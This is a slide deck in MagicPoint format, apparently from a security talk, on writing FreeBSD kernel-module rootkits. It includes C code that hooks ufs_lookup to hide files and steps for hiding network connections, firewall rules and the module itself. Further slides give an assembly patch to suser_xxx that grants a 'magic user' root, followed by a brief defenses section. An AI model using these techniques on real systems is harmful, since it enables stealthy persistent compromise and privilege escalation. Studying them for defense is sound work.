%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %% %% This default.mgp is "TrueType fonts" oriented. %% First, you should create "~/.mgprc" whose contents are: %% tfdir "/path/to/truetype/fonts" %% %% To visualize English, install "times.ttf", "arial.ttf", and "cour.ttf" %% into the "tfdir" directory above: %% http://microsoft.com/typography/fontpack/default.htm %% %% To visualize Japanese, install "MSMINCHO.ttf" and %% "watanabenabe-mincho.ttf" into the "tfdir" directory above: %% http://www.mew.org/mgp/xtt-fonts_0.19981020-3.tar.gz %% %deffont "standard" xfont "helvetica-medium-r", tfont "standard.ttf", tmfont "hoso6.ttf" %deffont "thick" xfont "helvetica-bold-r", tfont "thick.ttf", tmfont "hoso6.ttf" %deffont "typewriter" xfont "courier-medium-r", tfont "typewriter.ttf", tmfont "hoso6.ttf" %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %% %% Default settings per each line numbers. %% %default 1 leftfill, size 2, fore "gray20", back "white", font "standard", hgap 0 %default 2 size 6, vgap 10, prefix " ", ccolor "black", font "standard" %default 3 size 2, bar "gray70", vgap 10 %default 4 size 5, fore "black", vgap 30, prefix " ", font "standard" %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %% %% Default settings that are applied to TAB-indented lines. %% %tab 1 size 6, vgap 40, font "standard", prefix " ", icon box "green" 50 %tab 2 size 4, vgap 40, font "standard", prefix " ", icon arc "darkblue" 50 %tab 3 size 3, vgap 40, prefix " ", icon delta3 "white" 40 %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %page %nodefault %size 6.5, font "standard", back "white", ccolor "black" %bgrad 0 0 256 0 0 "skyblue" "white" %center, fore "black", font "standard", hgap 40, size 5.5 Fun and Games with FreeBSD Kernel Modules %font "standard", hgap 0 %size 5.5, fore "black", font "standard" Stephanie Wehner %size 4.5 atrak@itsx.com %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %page %bgrad 0 0 256 0 0 "skyblue" "white" Overview Useful Functions Techniques Common Applications Patching the Kernel Symbol Table Modifications Defending yourself %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %page %bgrad 0 0 256 0 0 "skyblue" "white" Useful Functions copying memory user space <-> kernel space copyin, copyout, copyinstr, copyoutstr fetch/store manipulate interrupt priorities spl functions (splnet.., splx) locking lockmgr dealing with userspace memory vm_map functions eg vm_map_find list macros see /sys/sys/queue.h %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %page %bgrad 0 0 256 0 0 "skyblue" "white" Techniques Replacing function pointers syscall table (struct sysent sysent[]) other tables (struct ipprotosw inetsw[], ...) single function pointers (ip_fw_ctl_ptr..) Modifying kernel lists list macros examples: allproc, linker_files, ip_fw_chain_head, ... Reading and writing kernel memory finding the address of a symbol: kvm_nlist reading data: kvm_read writing data: kvm_write %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %PAGE %bgrad 0 0 256 0 0 "skyblue" "white" Common Applications hiding & redirecting files hiding processes hiding network connections hiding firewall rules network triggers hiding the module many more.. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %page %bgrad 0 0 256 0 0 "skyblue" "white" Hiding Files Replacing syscalls open getdirentries ... Replacing vnode table entries lookup, eg ufs_lookup readdir, eg procfs_readdir ... %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %page %bgrad 0 0 256 0 0 "skyblue" "white" Hiding Files %size 4 Check if the file should be hidden before calling the original function Simple Example: changing ufs_lookup %size 3 int new_ufs_lookup(struct vop_cachedlookup_args *ap) { struct componentname *cnp = ap->a_cnp; if(file_hidden(cnp->cn_nameptr) && !(is_magic_user((cnp->cn_cred)->cr_uid))) { mod_debug("Hiding file %s\n",cnp->cn_nameptr); return(ENOENT); } return(old_ufs_lookup(ap)); } %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %page %bgrad 0 0 256 0 0 "skyblue" "white" Hiding Files %size 4 Replacing the function when the module is loaded: %size 3 extern vop_t **ufs_vnodeop_p; vop_t *old_ufs_lookup; static int load(struct module *module, int cmd, void *arg) { switch(cmd) { case MOD_LOAD: mod_debug("Replacing UFS lookup\n"); old_ufs_lookup = ufs_vnodeop_p[VOFFSET(vop_lookup)]; ufs_vnodeop_p[VOFFSET(vop_lookup)] = (vop_t *) new_ufs_lookup; break; case MOD_UNLOAD: mod_debug("Restoring UFS lookup\n"); ufs_vnodeop_p[VOFFSET(vop_lookup)] = old_ufs_lookup; break; default: error = EINVAL; break; } return(error); } %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %PAGE %bgrad 0 0 256 0 0 "skyblue" "white" Hiding Network Connections %size 4 Where do tcp connections in netstat -an come from ? __sysctl with the following mib: name[0] = CTL_NET name[1] = PF_INET name[2] = IPPROTO_TCP name[3] = TCPCTL_PCBLIST %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %PAGE %bgrad 0 0 256 0 0 "skyblue" "white" Hiding Network Connections Replace __sysctl in the syscall table Write a new __sysctl that calls the old one, and then filters out undesired entries Keep track of what these undesired entries are (eg configurable list) %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %PAGE %bgrad 0 0 256 0 0 "skyblue" "white" Hiding Firewall Rules %size 4 Hiding rules from ipfw -l: list of rules: ip_fw_chain_head recognizing hidden rules: flag requests for a rule list go to ip_fw_ctl_ptr replace ip_fw_ctl_ptr to point to your own function catch list requests: options IP_FW_GET %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %PAGE %bgrad 0 0 256 0 0 "skyblue" "white" Hiding Firewall Rules %size 4 From /sys/netinet/ip_fw.h: struct ip_fw { u_int64_t fw_pcnt,fw_bcnt; /* Packet and byte counters */ struct in_addr fw_src, fw_dst; /* Source and destination IP addr */ struct in_addr fw_smsk, fw_dmsk; /* Mask for src and dest IP addr */ u_short fw_number; /* Rule number */ u_int fw_flg; /* Flags word */ [...] Recognizing hidden rules, introduce a special flag: #define IP_FW_F_HIDDEN 0x80000000 %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %PAGE %bgrad 0 0 256 0 0 "skyblue" "white" Hiding Firewall Rules %size 4 Write a ip_fw_ctl replacment that deals with IP_FW_GET and set ip_fw_ctl_ptr on load: ip_fw_ctl_t *old_ip_fw_ctl_ptr; static int load(struct module *module, int cmd, void *arg) { switch(cmd) { case MOD_LOAD: mod_debug("Replacing IP_FW_CTL lookup\n"); s = splnet(); old_ip_fw_ctl_ptr = ip_fw_ctl_ptr; ip_fw_ctl_ptr = new_ip_fw_ctl; splx(s); break; [...] demo %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %PAGE %bgrad 0 0 256 0 0 "skyblue" "white" Network Triggers %size 4 inetsw contains information about different protocols eg which functions to call on input and output of a packet. Replacing these functions allows interception of the protocols packets before their are processed any further. Excerpt: extern struct ipprotosw inetsw[]; extern u_char ip_protox[]; inetsw[ip_protox[IPPROTO_ICMP]].pr_input = new_icmp_input; %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %PAGE %bgrad 0 0 256 0 0 "skyblue" "white" Hiding the Module linker_files and the modules list reference counts, and counters, next_id and next In order to hide the module from view: remove the 'module.ko' entry from linker_files remove 'modname' from modules list decrement the counters %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %PAGE %bgrad 0 0 256 0 0 "skyblue" "white" Patching the Kernel Inserting jumps to prevent table/pointer alteration Replacing kernel code %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %page %bgrad 0 0 256 0 0 "skyblue" "white" Inserting Jumps One way to prevent syscall table alterations. Write a jump from the old function to the new function old --- jmp ------------> new --- find out the addresses of the old and the new function (kvm_nlist) write the jump (kvm_write) %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %PAGE %bgrad 0 0 256 0 0 "skyblue" "white" Replacing kernel code %size 4.5 Example: altering suser_xxx suser is called in the kernel to check for the super user (uid 0) suser in return calls suser_xxx goal: add another user as super user %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %PAGE %bgrad 0 0 256 0 0 "skyblue" "white" Replacing kernel code %size 4 What does suser_xxx look like ? int suser_xxx(cred, proc, flag) struct ucred *cred; struct proc *proc; int flag; { if (!cred && !proc) { printf("suser_xxx(): THINK!\n"); return (EPERM); } if (!cred) cred = proc->p_ucred; if (cred->cr_uid != 0) return (EPERM); [...] %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %PAGE %bgrad 0 0 256 0 0 "skyblue" "white" Replacing kernel code %size 4.5 What does suser_xxx look like compiled ? %size 4 nm /kernel | grep suser_xxx objdump -d /kernel --start-address=0xaddress | more Interesting parts: printf("THINK!\n") and return EPERM: c019d549: 68 90 df 36 c0 push $0xc036df90 c019d54e: e8 5d db 00 00 call c01ab0b0 c019d553: b8 01 00 00 00 mov $0x1,%eax c019d558: eb 32 jmp c019d58c The uid 0 test: c019d563: 8b 00 mov (%eax),%eax c019d565: 83 78 04 00 cmpl $0x0,0x4(%eax) c019d569: 75 e8 jne c019d553 %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %PAGE %bgrad 0 0 256 0 0 "skyblue" "white" Replacing kernel code %size 4 Replace the printf with another test, namely for the magic user: First jmp over the following two statements cmpl $0xmagic_uid, 0x4(%eax) , test for magic user id je, jump to end if equal Then replace the jump to EPERM after the original test to jump to the compare statement. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %PAGE %bgrad 0 0 256 0 0 "skyblue" "white" Reboot Proofing Module in a startup file in etc/rc.d/ and then hide after loading in another file whose contents are hidden using file redirection Kernel Patch writing your code to /kernel %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %PAGE %bgrad 0 0 256 0 0 "skyblue" "white" Altering the Symbol table Also the symbol names you get via kvm_nlist are subject to modifications. Every linked file in linker_list comes with a symbol table you can change. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %PAGE %bgrad 0 0 256 0 0 "skyblue" "white" Defending yourself checking (syscall) table integrity loading a 'trap' module retrieving kernel data yourself %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %PAGE %bgrad 0 0 256 0 0 "skyblue" "white" Checking syscall table integrity loading module on startup that saves a copy of the original list, compare on request can be found and defeated not all alterations touch a call table compare via /dev/kmem also, symbol table can be altered so the address is changed watch out for high addresses (check with objdump -d /kernel) (demo) %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %PAGE %bgrad 0 0 256 0 0 "skyblue" "white" Loading a trap module Method replace the system call kldload with your own function log/deny/authenticate module loads Problem can be found and circumvented (eg by restoring the original kldload syscall by writing to /dev/kmem) %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %PAGE %bgrad 0 0 256 0 0 "skyblue" "white" Retrieving kernel data special syscall to give access to this data reading from /dev/kmem (eg process list) (demo) %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %PAGE %bgrad 0 0 256 0 0 "skyblue" "white" Conclusion Cat and mouse game: most attacks and defenses can be beaten if known %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %PAGE %bgrad 0 0 256 0 0 "skyblue" "white" More information Code & Article example code: http://www.r4k.net/mod/cyellow-0.01.tar.gz article: http://www.r4k.net/mod/fbsdfun.html Also Dynamic Kernel Linker (KLD) Facility Programming Tutorial (http://www.daemonnews.org/200010/blueprints.html) Exploiting Kernel buffer overflows FreeBSD Style (http://www.securiteam.com/unixfocus/5WP031535U.html) Attacking FreeBSD with Kernel Modules - The System Call Approach (http://packetstormsecurity.org/papers/unix/bsdkern.htm)